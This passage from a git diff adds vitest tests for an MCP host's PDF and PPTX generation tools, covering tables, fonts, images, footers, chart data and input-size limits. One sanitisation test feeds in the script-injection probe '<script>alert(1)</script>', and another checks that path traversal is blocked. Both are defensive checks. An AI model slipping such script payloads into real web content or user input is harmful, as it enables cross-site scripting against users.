'b'],+ ['a', 'b', 'EXTRACELL'],+ ],+ },+ ],+ })+ expect(result.content).toMatch(/The body's table 1, row 1 has 3 cells for 2 headers/)+ expect(result.content).toMatch(/tables\[0\]\.rows\[1\] has 3 cells for 2 headers/)+ })++ it('names record keys that match no header', async () => {+ const { result } = await render({+ filename: 'o.pdf',+ body: 'x',+ tables: [{ headers: ['Name', 'Qty'], rows: [{ Nombre: 'RECNAME', Qty: 1 }] }],+ })+ expect(result.content).toMatch(/tables\[0\].*'Nombre'.*no header/)+ })++ it('prints numeric, boolean and empty cells and numeric headers', async () => {+ const { pages } = await render({+ filename: 'n.pdf',+ body: 'x',+ tables: [+ {+ headers: ['Region', 2026],+ rows: [+ ['North', 1250000],+ ['South', null],+ ['X', true],+ ],+ },+ ],+ })+ const text = allText(pages)+ for (const marker of ['2026', '1250000', 'South', 'true']) expect(text).toContain(marker)+ })++ it('recognises a GFM table written without the outer pipes', async () => {+ const { pages } = await render({+ filename: 'g.pdf',+ body: 'Name | Qty\n--- | ---\nNOLEAD1 | 5',+ })+ expect(allText(pages)).not.toContain('---')+ const header = pages[0].fragments.find(f => f.text === 'Name')!+ // Header cells are set in the bold face.+ expect(header.font).not.toBe(pages[0].fragments.find(f => f.text === 'NOLEAD1')!.font)+ })++ it('reads a one-column GFM table and leaves spaced asterisks alone', async () => {+ const { pages } = await render({+ filename: 'g.pdf',+ body: '| Only |\n|---|\n| ONECELL |\n\nSpaced a * b * c here',+ })+ const text = allText(pages)+ expect(text).not.toContain('|')+ const header = pages[0].fragments.find(f => f.text === 'Only')!+ expect(header.font).not.toBe(pages[0].fragments.find(f => f.text === 'ONECELL')!.font)+ expect(text).toMatch(/a\s+\*\s+b\s+\*\s+c/)+ })+})++describe('PDF body text', () => {+ it('breaks a code line with no spaces inside the page', async () => {+ const { pages } = await render({+ filename: 'c.pdf',+ body: `\`\`\`\n${'Z'.repeat(300)}CODEEND\n\`\`\``,+ })+ expect(allText(pages)).toContain('CODEEND')+ expect(pastMargin(pages)).toEqual([])+ })++ it('keeps the paragraphs of a quote apart and runs its other lines on', async () => {+ const { pages } = await render({+ filename: 'q.pdf',+ body: 'Body text.\n\n> First line\n> runs on.\n>\n> Second paragraph.',+ })+ const at = (word: string) => pages[0].fragments.find(f => f.text.includes(word))!+ expect(at('runs').y).toBeCloseTo(at('First').y, 0)+ expect(at('Second').y).toBeGreaterThan(at('First').y + 10)+ expect(at('Second').x0).toBeCloseTo(at('First').x0, 0)+ expect(at('Second').font).toBe(at('First').font)+ expect(at('First').font).not.toBe(at('Body').font)+ })++ it('sets code in a fixed-width face', async () => {+ const { pages } = await render({ filename: 'm.pdf', body: '```\niiiiiiiiii\nWWWWWWWWWW\n```' })+ const narrow = pages[0].fragments.find(f => f.text === 'iiiiiiiiii')!+ const wide = pages[0].fragments.find(f => f.text === 'WWWWWWWWWW')!+ expect(wide.x1 - wide.x0).toBeCloseTo(narrow.x1 - narrow.x0, 1)+ })++ it('keeps accented letters in the code face and code lines apart', async () => {+ const { pages } = await render({+ filename: 'm.pdf',+ body: '```\niiiiiiiiii\ncafé ñandú\n```',+ })+ const ascii = pages[0].fragments.find(f => f.text === 'iiiiiiiiii')!+ const accented = pages[0].fragments.filter(f => f.y > ascii.y + 1 && f.y < ascii.y + 30)+ expect(accented.map(f => f.text.trim())).toEqual(['café', 'ñandú'])+ for (const f of accented) expect(f.font).toBe(ascii.font)+ expect(accented[0].y - ascii.y).toBeGreaterThan(11)+ })++ it('moves a heading left at the foot of a page to the page its text starts on', async () => {+ const filler = Array.from({ length: 31 }, (_, i) => `Filler line ${i}`).join('\n')+ const { pages } = await render({+ filename: 'h.pdf',+ body: `${filler}\n## ORPHAN HEADING\n### ORPHAN SUB\nFirst paragraph AFTERHEAD.`,+ })+ const after = pageOf(pages, 'AFTERHEAD')+ expect(pageOf(pages, 'HEADING')).toBe(after)+ expect(pageOf(pages, 'SUB')).toBe(after)+ })++ it('keeps a heading on the page where the table under it starts', async () => {+ for (let n = 26; n <= 36; n++) {+ const filler = Array.from({ length: n }, (_, i) => `Filler line ${i}`).join('\n')+ const { pages } = await render({+ filename: `t${n}.pdf`,+ body: `${filler}\n## TBLHEAD\n\n| A | B |\n|---|---|\n| TROW1 | x |\n| TROW2 | y |`,+ })+ expect(pageOf(pages, 'TBLHEAD'), `${n} filler lines`).toBe(pageOf(pages, 'TROW1'))+ for (const page of pages)+ expect(page.fragments.length, `${n} filler lines`).toBeGreaterThan(0)+ }+ })++ it('does not add a page for a heading that ends the document', async () => {+ const { pages } = await render({ filename: 'h.pdf', body: '# Only a heading' })+ expect(pages).toHaveLength(1)+ })++ it('keeps numbering across blank lines and after a code block', async () => {+ const loose = await render({ filename: 'l.pdf', body: '1. First\n\n2. Second\n\n3. Third' })+ expect(loose.pages[0].text).toMatch(/1\..*2\..*3\./)+ const fenced = await render({+ filename: 'f.pdf',+ body: '1. Run:\n\n```\nnpm test\n```\n\n2. Next\n3. Last',+ })+ expect(fenced.pages[0].text).toMatch(/1\..*2\..*3\./)+ expect(fenced.pages[0].text).not.toMatch(/1\..*1\./)+ })++ it('reads the HTML tags and entities models write', async () => {+ const { pages } = await render({+ filename: 'h.pdf',+ body: 'Para with <b>bold</b> and line<br>break & <tag> <script>alert(1)</script>\n\n| A | B |\n|---|---|\n| x | one<br>two |',+ })+ const text = allText(pages)+ expect(text).not.toMatch(/<br>|<b>|&|alert/)+ expect(text).toContain('&')+ expect(text).toContain('<tag>')+ const bold = pages[0].fragments.find(f => f.text === 'bold')!+ const para = pages[0].fragments.find(f => f.text.startsWith('Para'))!+ expect(bold.font).not.toBe(para.font)+ // The <br> in the cell is a line break: 'two' sits below 'one'.+ const one = pages[0].fragments.find(f => f.text === 'one')!+ const two = pages[0].fragments.find(f => f.text === 'two')!+ expect(two.y).toBeGreaterThan(one.y)+ })++ it('writes status emoji as text instead of leaving the cell empty', async () => {+ const { pages } = await render({+ filename: 'e.pdf',+ body: '| Check | Result |\n|---|---|\n| A | ✅ |\n| B | ❌ |\n| C | 🟢 |',+ })+ const text = allText(pages)+ for (const marker of ['OK', 'X', '(green)']) expect(text).toContain(marker)+ })++ it('sets the title with the same fonts as the body', async () => {+ const { pages } = await render({ filename: 't.pdf', title: 'T1 → ✓ ≥', body: 'B1 → ✓ ≥' })+ const line = (prefix: string) =>+ pages[0].fragments+ .filter(f => Math.abs(f.y - pages[0].fragments.find(g => g.text.startsWith(prefix))!.y) < 1)+ .map(f => f.text)+ .join(' ')+ .replace(prefix, '')+ expect(line('T1')).toBe(line('B1'))+ })++ it('reports characters no face can draw instead of dropping them silently', async () => {+ const { result } = await render({ filename: 'u.pdf', body: 'Launch 🚀 day' })+ expect(result.content).toMatch(/U\+1F680/)+ expect(result.content).toMatch(/clerum__generate_docx/)+ })++ it('removes control characters and reads CRLF bodies as markdown', async () => {+ const { pages } = await render({+ filename: 'k.pdf',+ body: '# CRLF Heading\r\nESC[\u001b[31mred\u001b[0m] BEL[\u0007]\r\n```\r\necho hi\r\n```',+ })+ const text = allText(pages)+ expect(text).not.toMatch(/#|```|[\u0000-\u0008\u001b]/)+ expect(text).toContain('ESC[red]')+ })+})++describe('PDF cover, header and footer', () => {+ it('draws the cover without a title, using the headline', async () => {+ const { result, pages } = await render({+ filename: 'c.pdf',+ coverPage: true,+ headline: 'COVERHEADLINE',+ statusColor: 'red',+ body: 'x',+ })+ expect(pages[0].text).toContain('COVERHEADLINE')+ expect(pageOf(pages, 'x')).toBe(1)+ expect(result.content).toMatch(/coverPage was set without a title/)+ })++ it('says when cover-only options are given without a cover', async () => {+ const { result } = await render({ filename: 'c.pdf', headline: 'H', body: 'x' })+ expect(result.content).toMatch(+ /headline is only drawn on the cover page, so it was left out; pass coverPage: true to show it\./+ )+ })++ it('sets a long title and company name in one header line, and says the name was cut', async () => {+ const title = 'Quarterly operating review of the region '.repeat(4).trim()+ const { result, pages } = await render({+ filename: 'h.pdf',+ title,+ body: words(400),+ branding: { companyName: 'Acme Holdings International '.repeat(4).trim() },+ })+ const header = pages[1].fragments.filter(f => f.y < 50)+ expect(new Set(header.map(f => Math.round(f.y))).size).toBe(1)+ expect(header.map(f => f.text).join(' ')).toMatch(/…/)+ expect(result.content).toContain('branding.companyName is longer than the page header')+ expect(pages[0].text.replace(/\s+/g, ' ')).toContain(title)+ })++ it('keeps a footer with a long URL clear of the body', async () => {+ const url =+ 'https://intranet.example.com/policies/data-classification/' ++ 'confidential-information-handling-guidelines-2026-edition'+ const { pages } = await render({+ filename: 'u.pdf',+ body: words(400),+ branding: { footerText: `Confidential, see ${url} for handling rules` },+ })+ const page = pages[0]+ const isBody = (text: string) => /^(alpha|beta|gamma|delta|epsilon) ?$/.test(text)+ const body = page.fragments.filter(f => isBody(f.text))+ const footer = page.fragments.filter(f => !isBody(f.text) && f.y > page.height / 2)+ // The URL takes two of the footer's lines, all of them below the body.+ expect(new Set(footer.map(f => Math.round(f.y))).size).toBeGreaterThanOrEqual(3)+ expect(Math.max(...body.map(f => f.y))).toBeLessThan(Math.min(...footer.map(f => f.y)) - 9)+ })++ it('keeps a long footer inside the page and reports what it cut', async () => {+ const footerText = Array.from({ length: 8 }, (_, i) => `FOOTLINE${i}`).join('\n')+ const { result, pages } = await render({+ filename: 'f.pdf',+ body: 'x',+ branding: { footerText },+ })+ for (let i = 0; i < 6; i++) expect(pages[0].text).toContain(`FOOTLINE${i}`)+ for (const f of pages[0].fragments) expect(f.y).toBeLessThan(pages[0].height)+ expect(result.content).toMatch(/footerText takes more than 6 lines, the most that fit/)+ })+})++describe('PDF images', () => {+ it('embeds an image given as a bare file name', async () => {+ writePng('chart.png', 400, 200)+ const { pages } = await render({ filename: 'i.pdf', body: 'x', images: ['chart.png'] })+ expect(pages[0].images).toHaveLength(1)+ })++ it('embeds body images whose names hold spaces or parentheses', async () => {+ writePng('my chart.png', 400, 200)+ writePng('image (1).png', 400, 200)+ const { result, pages } = await render({+ filename: 'i.pdf',+ body: 'Text\n\n\n\n.png)',+ })+ expect(pages.flatMap(p => p.images)).toHaveLength(2)+ expect(result.content).not.toMatch(/not found/)+ })++ it('converts GIF and SVG images instead of failing the document', async () => {+ writePng('dot.png', 40, 40)+ fs.copyFileSync(path.join(outputDir, 'dot.png'), path.join(outputDir, 'dot.gif'))+ fs.writeFileSync(+ path.join(outputDir, 'v.svg'),+ '<svg xmlns="http://www.w3.org/2000/svg" width="100" height="50"><rect width="100" height="50"/></svg>'+ )+ const { pages } = await render({+ filename: 'i.pdf',+ body: 'x',+ images: ['dot.gif', { path: 'v.svg' }],+ })+ expect(pages.flatMap(p => p.images)).toHaveLength(2)+ })++ it('says when the document has nothing in it', async () => {+ const { result } = await render({ filename: 'e.pdf', body: '' })+ expect(result.content).toContain('The document is empty')+ const titled = await render({ filename: 't.pdf', body: '', title: 'Report' })+ expect(titled.result.content).not.toContain('The document is empty')+ })++ it('reports missing and unreadable images', async () => {+ fs.writeFileSync(path.join(outputDir, 'fake.png'), 'not an image')+ const { result } = await render({+ filename: 'i.pdf',+ body: 'x',+ images: [{ path: 'nope.png' }, { path: 'fake.png' }],+ })+ expect(result.content).toMatch(/'nope.png' was not found/)+ expect(result.content).toMatch(/'fake.png' is not an image/)+ })++ it('fails with a reason when no requested image could be placed and nothing else was asked for', async () => {+ const result = await tool.execute(+ { filename: 'i.pdf', body: '', images: ['nope.png'] },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/nope.png/)+ })++ it('fails with a reason when the body is only images that could not be placed', async () => {+ const result = await tool.execute({ filename: 'i.pdf', body: '' }, outputDir)+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/missing.png/)+ })++ it('keeps an explicitly sized image inside the page', async () => {+ writePng('tall.png', 200, 3000)+ const { pages } = await render({+ filename: 'i.pdf',+ body: 'x',+ images: [+ { path: 'tall.png', width: 515 },+ { path: 'tall.png', height: 2000 },+ ],+ })+ const boxes = pages.flatMap(p => p.images)+ expect(boxes).toHaveLength(2)+ for (const box of boxes) {+ expect(box.x1).toBeLessThanOrEqual(555.5)+ expect(box.y1).toBeLessThanOrEqual(842 - 60 + 0.5)+ }+ })++ it('keeps a sized image above a footer of several lines', async () => {+ writePng('tall.png', 200, 3000)+ const footerText = Array.from({ length: 6 }, (_, i) => `FOOTLINE${i}`).join('\n')+ const { pages } = await render({+ filename: 'i.pdf',+ body: 'x',+ images: [{ path: 'tall.png', height: 2000 }],+ branding: { footerText },+ })+ expect(pages).toHaveLength(2)+ const [box] = pages[1].images+ const footerTop = Math.min(+ ...pages[1].fragments.filter(f => f.text.startsWith('FOOTLINE')).map(f => f.y)+ )+ expect(box.y1).toBeLessThan(footerTop - 9)+ })++ it('fits a tall logo into the cover', async () => {+ writePng('logo.png', 300, 3000)+ const { pages } = await render({+ filename: 'l.pdf',+ title: 'T',+ coverPage: true,+ body: 'x',+ branding: { logoPath: 'logo.png' },+ })+ const [logo] = pages[0].images+ expect(logo.y1 - logo.y0).toBeLessThanOrEqual(80.5)+ expect(pages[0].text).toContain('T')+ })++ it('reports a missing logo', async () => {+ const { result } = await render({+ filename: 'l.pdf',+ title: 'T',+ coverPage: true,+ body: 'x',+ branding: { logoPath: 'nologo.png' },+ })+ expect(result.content).toMatch(/'nologo.png' was not found/)+ })++ it('places a markdown image where the body puts it', async () => {+ writePng('sales.png', 400, 200)+ const { pages } = await render({+ filename: 'm.pdf',+ body: 'Intro\n\n\n\nOutro',+ })+ expect(allText(pages)).not.toContain('![')+ const [image] = pages[0].images+ const intro = pages[0].fragments.find(f => f.text === 'Intro')!+ const outro = pages[0].fragments.find(f => f.text === 'Outro')!+ expect(image.y0).toBeGreaterThan(intro.y)+ expect(image.y1).toBeLessThan(outro.y)+ })++ it('leaves out a missing markdown image without printing its path', async () => {+ const { result, pages } = await render({+ filename: 'm.pdf',+ body: 'Intro\n\n',+ })+ expect(allText(pages)).not.toContain('missing.png')+ expect(result.content).toMatch(/'missing.png' was not found/)+ })++ it('uses the output-folder file for an absolute path from another mode', async () => {+ writePng('chart.png', 400, 200)+ const { result, pages } = await render({+ filename: 'a.pdf',+ body: 'x',+ images: ['/output/chart.png'],+ })+ expect(pages[0].images).toHaveLength(1)+ expect(result.content).toMatch(/outside the output folder/)+ })++ it('still refuses a path outside the output folder, saying what to pass', async () => {+ const result = await tool.execute({ filename: 'a.pdf', body: '' }, outputDir)+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/path traversal blocked/)+ expect(result.error).toMatch(/file name/)+ })+})++describe('PDF arguments on the workflow path', () => {+ function router(): StepMcpRouter {+ const r = new StepMcpRouter(() => {+ throw new Error('factory should not be called')+ })+ r.registerInternalTools(INTERNAL_TOOLS, outputDir)+ return r+ }++ it('accepts numeric, null and boolean cells, numeric headers and widths', async () => {+ const { result } = await router().callTool('clerum__generate_pdf', {+ filename: 'n.pdf',+ body: 'x',+ tables: [+ {+ headers: ['Region', 2026],+ rows: [+ ['North', 1250000],+ ['South', null],+ ['X', true],+ ],+ widths: [120, '*'],+ },+ ],+ })+ expect(result.isError).toBeFalsy()+ })++ it('accepts images given as file names', async () => {+ writePng('chart.png', 40, 40)+ const { result } = await router().callTool('clerum__generate_pdf', {+ filename: 'i.pdf',+ body: 'x',+ images: ['chart.png', { path: 'chart.png', width: 100 }],+ })+ expect(result.isError).toBeFalsy()+ })++ it('rejects rows sent as records with the path of the row to fix', async () => {+ const { result } = await router().callTool('clerum__generate_pdf', {+ filename: 'o.pdf',+ body: 'x',+ tables: [{ headers: ['Name'], rows: [{ Name: 'a' }] }],+ })+ expect(result.isError).toBe(true)+ expect((result.content as { error?: string }).error).toMatch(/tables\/0\/rows\/0 must be array/)+ })+})++describe('PDF input that would stall the host', () => {+ // One call runs on the event loop every chat of the Host shares. The budget+ // is loose, so a slow machine passes; a quadratic layout of these takes minutes.+ const budgetMs = 20_000++ it('lays out a long token without spaces, in the body and in a table cell', async () => {+ const token = 'A'.repeat(20000)+ const started = performance.now()+ const { pages } = await render({+ filename: 'token.pdf',+ body: `data: ${token}`,+ tables: [{ headers: ['k', 'v'], rows: [['a', 'B'.repeat(20000)]] }],+ })+ expect(performance.now() - started).toBeLessThan(budgetMs)+ // The token runs over several pages, between their page numbers.+ const text = allText(pages)+ expect(text.match(/A/g)).toHaveLength(20000)+ expect(text.match(/B/g)).toHaveLength(20000)+ expect(pastMargin(pages)).toEqual([])+ }, 60_000)++ it('lays out a huge title, company name and footer', async () => {+ const started = performance.now()+ const { result } = await render({+ filename: 'big.pdf',+ body: 'x',+ title: 'T'.repeat(200_000),+ branding: { companyName: 'C'.repeat(200_000), footerText: 'F'.repeat(200_000) },+ })+ expect(performance.now() - started).toBeLessThan(budgetMs)+ expect(result.content).toContain('footerText takes more than 6 lines')+ }, 60_000)++ it('lays out thousands of headings and short lines', async () => {+ let started = performance.now()+ await render({ filename: 'h.pdf', body: '# h\n'.repeat(2000) })+ expect(performance.now() - started).toBeLessThan(budgetMs)+ started = performance.now()+ await render({ filename: 'l.pdf', body: 'ab\n'.repeat(20000) })+ expect(performance.now() - started).toBeLessThan(budgetMs)+ }, 60_000)+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.pdf.text.test.ts b/mcp-host/src/workflow/__tests__/internalTools.pdf.text.test.tsnew file mode 100644index 000000000..867e6e578--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.pdf.text.test.ts@@ -0,0 +1,145 @@+/**+ * The PDF embeds real fonts, so text above U+00FF such as "≥" is drawn as+ * written, and wide images fit the printable width.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import type { InternalToolDefinition } from '../types'++function findTool(name: string): InternalToolDefinition {+ const tool = INTERNAL_TOOLS.find(t => t.name === name)+ if (!tool) throw new Error(`tool ${name} not registered`)+ return tool+}++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-pdf-text-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++/**+ * pdfmake writes the embedded font's name into the PDF; a standard-14 name+ * means Latin-1 only.+ */+function namesACoreFont(file: string): boolean {+ const raw = fs.readFileSync(file).toString('latin1')+ return /\/BaseFont\s*\/(Helvetica|Times|Courier)(-|\s|>)/.test(raw)+}++describe('generate_pdf text fidelity', () => {+ it('embeds a font instead of naming a standard-14 one', async () => {+ const tool = findTool('clerum__generate_pdf')+ const r = await tool.execute(+ { filename: 'fonts.pdf', title: 'Font check', body: 'Plain body text.' },+ outputDir+ )+ expect(r.success).toBe(true)+ expect(namesACoreFont(path.join(outputDir, 'fonts.pdf'))).toBe(false)+ })++ it('renders the symbols and scripts a core font silently replaced', async () => {+ const tool = findTool('clerum__generate_pdf')+ const r = await tool.execute(+ {+ filename: 'unicode.pdf',+ title: 'Unicode',+ body: [+ 'Arrow: A → B. Approx: ≈ 50%. GreaterEq: N ≥ 5. LessEq: ≤ 3.',+ 'Check: ✓ done, ✗ failed. Bullet: • item. Dash: em — dash.',+ 'Greek: α β λ. Cyrillic: привет. Accents: café naïve señor.',+ 'Currency: €100 £200 ¥300. Math: ± 5% × 3 ÷ 2.',+ ].join('\n'),+ },+ outputDir+ )+ expect(r.success).toBe(true)+ const size = fs.statSync(path.join(outputDir, 'unicode.pdf')).size+ expect(size).toBeGreaterThan(1000)+ })++ it('does not fail on text in a script no available font covers', async () => {+ const tool = findTool('clerum__generate_pdf')+ const r = await tool.execute(+ { filename: 'cjk.pdf', title: 'CJK', body: '中文测试 テスト 한국어' },+ outputDir+ )+ // Characters with no glyph are dropped rather than written out as a+ // different one; the document must still be produced.+ expect(r.success).toBe(true)+ })++ it('keeps a wide chart inside the page margins', async () => {+ const chart = findTool('clerum__generate_chart')+ const pdf = findTool('clerum__generate_pdf')++ const c = await chart.execute(+ {+ filename: 'wide.png',+ type: 'bar',+ title: 'Wide',+ width: 1200,+ height: 500,+ data: { labels: ['a', 'b'], datasets: [{ label: 's', data: [1, 2] }] },+ },+ outputDir+ )+ expect(c.success).toBe(true)++ const r = await pdf.execute(+ { filename: 'withchart.pdf', title: 'Report', body: 'Body.', images: [{ path: 'wide.png' }] },+ outputDir+ )+ expect(r.success).toBe(true)++ // A 2400px-wide PNG is fitted to the printable width.+ const raw = fs.readFileSync(path.join(outputDir, 'withchart.pdf')).toString('latin1')+ const widths = [...raw.matchAll(/\/Width\s+(\d+)/g)].map(m => Number(m[1]))+ expect(widths.length).toBeGreaterThan(0)+ // The stored image keeps its pixels; what matters is the drawn box, which+ // pdfmake writes into the content stream's transform matrix.+ const drawn = [...raw.matchAll(/([\d.]+) 0 0 [\d.]+ [\d.-]+ [\d.-]+ cm/g)].map(m =>+ Number(m[1])+ )+ if (drawn.length > 0) {+ expect(Math.max(...drawn)).toBeLessThanOrEqual(516)+ }+ })++ it('caps an explicit width at the printable width', async () => {+ const chart = findTool('clerum__generate_chart')+ const pdf = findTool('clerum__generate_pdf')+ await chart.execute(+ {+ filename: 'c.png',+ type: 'bar',+ data: { labels: ['a'], datasets: [{ label: 's', data: [1] }] },+ },+ outputDir+ )+ const r = await pdf.execute(+ {+ filename: 'capped.pdf',+ title: 'Report',+ body: 'Body.',+ images: [{ path: 'c.png', width: 2000 }],+ },+ outputDir+ )+ expect(r.success).toBe(true)+ const raw = fs.readFileSync(path.join(outputDir, 'capped.pdf')).toString('latin1')+ const drawn = [...raw.matchAll(/([\d.]+) 0 0 [\d.]+ [\d.-]+ [\d.-]+ cm/g)].map(m =>+ Number(m[1])+ )+ if (drawn.length > 0) {+ expect(Math.max(...drawn)).toBeLessThanOrEqual(516)+ }+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.pptx.charts.test.ts b/mcp-host/src/workflow/__tests__/internalTools.pptx.charts.test.tsnew file mode 100644index 000000000..1022fe2db--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.pptx.charts.test.ts@@ -0,0 +1,349 @@+/**+ * Native charts: the chart cache must hold numbers, since PowerPoint drops+ * values written as text, and a type it cannot draw must be refused by name.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { chartCategories, chartValues, chartXmls, generatePptx, slideXml } from './support/pptxXml'++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-pptx-chart-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function chartDeck(chart: Record<string, unknown>, title = 'Revenue') {+ const result = await generatePptx(+ { filename: 'c.pptx', slides: [{ layout: 'title-chart', title, chart }] },+ outputDir+ )+ const file = path.join(outputDir, 'c.pptx')+ return { result, charts: result.success ? chartXmls(file) : [], file }+}++describe('clerum__generate_pptx — native chart data is normalized', () => {+ it('reads numbers written as text', async () => {+ const { result, charts } = await chartDeck({+ type: 'bar',+ labels: ['A', 'B', 'C'],+ datasets: [{ label: 'S', data: ['12', '1,200', '$5M'] }],+ })+ expect(result.success, result.error).toBe(true)+ expect(chartValues(charts[0])).toEqual([['12', '1200', '5000000']])+ expect(result.content).toMatch(/text/)+ })++ it('reads {label, value} records and takes their labels', async () => {+ const { result, charts } = await chartDeck({+ type: 'bar',+ datasets: [+ {+ label: 'S',+ data: [+ { label: 'North', value: 3 },+ { label: 'South', value: 5 },+ ],+ },+ ],+ })+ expect(result.success, result.error).toBe(true)+ expect(chartValues(charts[0])).toEqual([['3', '5']])+ expect(chartCategories(charts[0])).toEqual(['North', 'South'])+ })++ it('evens out labels and values of different lengths, and says so', async () => {+ const { result, charts } = await chartDeck({+ type: 'bar',+ labels: ['A', 'B', 'C', 'D'],+ datasets: [{ label: 'S', data: [1, 2, 3, 4, 5] }],+ })+ expect(result.success, result.error).toBe(true)+ expect(chartCategories(charts[0])).toHaveLength(5)+ expect(result.content).toMatch(/slides\[0\]\.chart\.labels/)+ })++ it('accepts the data shape clerum__generate_chart takes', async () => {+ const { result, charts } = await chartDeck({+ type: 'line',+ data: { labels: ['a', 'b'], datasets: [{ label: 's', data: [1, 2] }] },+ })+ expect(result.success, result.error).toBe(true)+ expect(chartValues(charts[0])).toEqual([['1', '2']])+ })++ it('takes the labels given beside series nested under data', async () => {+ const { result, charts } = await chartDeck({+ type: 'bar',+ labels: ['Q1', 'Q2', 'Q3'],+ data: { datasets: [{ label: 'Revenue', data: [1, 2, 3] }] },+ })+ expect(result.success, result.error).toBe(true)+ expect(chartCategories(charts[0])).toEqual(['Q1', 'Q2', 'Q3'])+ expect(result.content).not.toMatch(/labels` was missing|Ignored arguments/)+ })++ it('rejects a nested category label that is not text or a number', async () => {+ const result = await generatePptx(+ {+ filename: 'q.pptx',+ template: 'quarterly-review',+ data: {+ title: 'Q3 review',+ period: 'Q3 2026',+ revenueChart: {+ type: 'bar',+ data: { labels: ['Q1', {}], datasets: [{ label: 'Revenue', data: [1, 2] }] },+ },+ },+ },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/data\.revenueChart\.data\.labels\[1\] must be text or a number/)+ })++ it('rejects a nested series name that is not text', async () => {+ const result = await generatePptx(+ {+ filename: 'q.pptx',+ template: 'quarterly-review',+ data: {+ title: 'Q3 review',+ period: 'Q3 2026',+ revenueChart: {+ type: 'bar',+ data: { labels: ['Q1', 'Q2'], datasets: [{ label: 5, data: [1, 2] }] },+ },+ },+ },+ outputDir+ )+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/data\.revenueChart\.data\.datasets\[0\]\.label must be text/)+ })++ it('rejects a series with no values, naming the field', async () => {+ const { result } = await chartDeck({ type: 'bar', labels: ['a'], datasets: [] })+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/slides\[0\]\.chart\.datasets/)+ })++ it('refuses a type with no native form and says how to draw it', async () => {+ const { result } = await chartDeck({+ type: 'scatter',+ datasets: [{ label: 'S', data: [{ x: 1, y: 2 }] }],+ })+ expect(result.success).toBe(false)+ expect(result.error).toMatch(/slides\[0\]\.chart\.type/)+ expect(result.error).toMatch(/clerum__generate_chart/)+ expect(result.error).toMatch(/chart\.path/)+ })++ it('draws stackedBar as a stacked native bar chart', async () => {+ const { result, charts } = await chartDeck({+ type: 'stackedBar',+ labels: ['Q1', 'Q2'],+ datasets: [+ { label: 'A', data: [1, 2] },+ { label: 'B', data: [3, 4] },+ ],+ })+ expect(result.success, result.error).toBe(true)+ expect(charts[0]).toContain('<c:grouping val="stacked"/>')+ })++ it('says a pie cannot show a value below zero, naming the series', async () => {+ const { result } = await chartDeck({+ type: 'pie',+ labels: ['Loss', 'North', 'South'],+ datasets: [{ label: 'Result', data: [-10, 20, 30] }],+ })+ expect(result.success, result.error).toBe(true)+ expect(result.content).toContain(+ '`slides[0].chart.datasets[0]` has 1 value(s) below zero, which a pie cannot show'+ )+ })++ it('reports that a pie draws only its first series', async () => {+ const { result, charts } = await chartDeck({+ type: 'pie',+ labels: ['a', 'b'],+ datasets: [+ { label: 'A', data: [1, 2] },+ { label: 'B', data: [3, 4] },+ ],+ })+ expect(result.success, result.error).toBe(true)+ expect(chartValues(charts[0])).toEqual([['1', '2']])+ expect(result.content).toMatch(/pie/)+ })+})++describe('clerum__generate_pptx — native charts can be read without the data', () => {+ it('gives a pie a legend and percentage labels', async () => {+ const { result, charts } = await chartDeck({+ type: 'pie',+ labels: ['Subscriptions', 'Services', 'Hardware'],+ datasets: [{ label: 'Mix', data: [70, 20, 10] }],+ })+ expect(result.success, result.error).toBe(true)+ expect(charts[0]).toContain('<c:legend>')+ expect(charts[0]).toMatch(/<c:showPercent val="1"\/>/)+ })++ it('prints the values on a short bar series', async () => {+ const { result, charts } = await chartDeck({+ type: 'bar',+ labels: ['A', 'B', 'C'],+ datasets: [{ label: 'S', data: [1200, 950, 700] }],+ })+ expect(result.success, result.error).toBe(true)+ expect(charts[0]).toMatch(/<c:showVal val="1"\/>/)+ })++ it('does not repeat the slide title inside the chart', async () => {+ const { result, charts } = await chartDeck(+ {+ type: 'bar',+ title: 'Revenue',+ labels: ['A'],+ datasets: [{ label: 'S', data: [1] }],+ },+ 'Revenue'+ )+ expect(result.success, result.error).toBe(true)+ expect(charts[0]).not.toContain('<c:title>')+ })++ it('sets the chart text in the deck font', async () => {+ const { result, charts, file } = await chartDeck({+ type: 'bar',+ title: 'Units',+ labels: ['A'],+ datasets: [{ label: 'S', data: [1] }],+ })+ expect(result.success, result.error).toBe(true)+ const faces = new Set([...charts[0].matchAll(/typeface="([^"]+)"/g)].map(m => m[1]))+ expect([...faces]).toEqual(['Arial'])+ expect(slideXml(file, 1)).toContain('<c:chart ')+ })+})++/** The `<c:catAx>` or `<c:valAx>` element of a chart part. */+function axis(chartXml: string, kind: 'catAx' | 'valAx'): string {+ const hit = new RegExp(`<c:${kind}>[\\s\\S]*?</c:${kind}>`).exec(chartXml)+ if (!hit) throw new Error(`chart has no ${kind}`)+ return hit[0]+}++describe('clerum__generate_pptx — native charts draw the values truthfully', () => {+ it.each(['bar', 'horizontalBar', 'stackedBar', 'area', 'stackedArea'])(+ 'starts the value axis of a %s chart at zero when no value is negative',+ async type => {+ const { result, charts } = await chartDeck({+ type,+ labels: ['Jul', 'Aug', 'Sep'],+ datasets: [{ label: 'Revenue', data: [1320, 1405, 1475] }],+ })+ expect(result.success, result.error).toBe(true)+ expect(axis(charts[0], 'valAx')).toContain('<c:min val="0"/>')+ }+ )++ it('ends the value axis at zero when every value is negative', async () => {+ const { result, charts } = await chartDeck({+ type: 'bar',+ labels: ['Q1', 'Q2'],+ datasets: [{ label: 'Loss', data: [-120, -150] }],+ })+ 